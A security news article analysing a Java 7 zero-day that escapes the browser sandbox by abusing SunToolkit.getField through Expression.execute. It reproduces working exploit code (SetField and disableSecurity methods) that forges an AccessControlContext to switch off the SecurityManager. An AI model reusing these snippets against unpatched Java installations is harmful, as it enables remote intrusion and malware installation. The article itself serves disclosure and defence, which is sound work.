The new Java 0Day examined

Update - Oracle has now released fixes for this vulnerability.

A first analysis of the Java 0Day exploit code, which is already publicly available, suggests that the exploit is rather hard to notice: at first glance, the dangerous code looks just like any other Java program with no trace of any exotic bytecode. According to Michael Schierl, who has discovered several Java holes himself, the code's secret is that it does something which it isn't allowed to do: it uses the internal sun.awt.SunToolkit class to disable the SecurityManager, and ultimately the sandbox of Java.

The sun.awt.SunToolkit class gives public (public) access to a method called getField() that provides access to the private attributes of other classes. Technically speaking, untrusted code such as the exploit that is being executed in the browser shouldn't be able to access this method at all. But Java 7 introduced a new method to the Expression class, .execute(), which allowed expressions created at runtime to be executed. Bugs in the implementation of the new method allows the code to gain access to the getField() method.

 private void SetField(Class paramClass, 
                      String paramString,
                      Object paramObject1, 
                      Object paramObject2) throws Throwable
{ 
  Object arrayOfObject  = new Object[2]; 
  arrayOfObject[0] = paramClass;
  arrayOfObject[1] = paramString;
  Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"),
                                                  "getField", arrayOfObject);
  localExpression.execute();
  ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
 }

The exploit first creates a Statement object that would call the System.setSecurityManager(null) object and effectively disable the sandbox. However, if the exploit called that method directly it would be rejected because it was untrusted. So the code first creates a custom AccessControlContext object that represents a class which was started from the local hard disk and has, therefore, a complete set of rights.

Then the code uses its privilege breaking setField to swap this custom set of rights with the "acc" attribute of the setSecurityManager statement. This attribute would normally state that the object is part of a class that belongs to an applet such as http://attack.evil-page.tld/exploit.jar, and that it should therefore run in the sandbox with no system privileges. Once swapped in, the Statement object now claims to have come from the local hard disk and is trusted code. It can then be executed without complaint and disables the SecurityManager completely.

public void disableSecurity() 
    throws Throwable 
{ 
 Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); 
 Permissions localPermissions = new Permissions(); 
 localPermissions.add(new AllPermission()); 
 ProtectionDomain localProtectionDomain = new ProtectionDomain( 
   new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); 
 AccessControlContext localAccessControlContext = 
   new AccessControlContext(new ProtectionDomain  {localProtectionDomain}); 
 SetField(Statement.class, "acc", localStatement, localAccessControlContext); 
 localStatement.execute(); 
}

After that, the exploit can do as it pleases on a system. To demonstrate, the analysed exploit uses the same method that a legitimate Java application would use to start the calc.exe Windows calculator. In theory, an attacker could have built a statement that erases the hard disk or downloads and executes a native payload. A malicious exploit that has already been sighted in the wild infects PCs with the Poison Ivy Remote Administration Toolkit.

Schierl fears that "Intrusion Detection Systems (IDS) and anti-virus software will have a hard time trying to provide generic signatures for the hole, because no exotic bytecode is required to exploit it – unlike with the previous two major holes." The vulnerability affects all operating systems. In theory, a virus author could program malware that exploits the hole to infect Windows, Mac OS X and Linux computers. Only a few operating system-specific adjustments would need to be made. Similar scenarios have existed before; the Flashback trojan exploited insecure Java installations to infect hundreds of thousands of Macs.

Oracle has not yet released an official statement concerning the critical vulnerability. At this article's time of publication, the company still offered Java version 7 update 6 to download; like all older series 7 versions, this release is vulnerable to attacks via the vector described above. Users who have a vulnerable version installed on their systems are advised to disable the browser plugin that provides Java support. Otherwise, It will only be a matter of time before unbidden malware guests take up residence on their systems.

See also: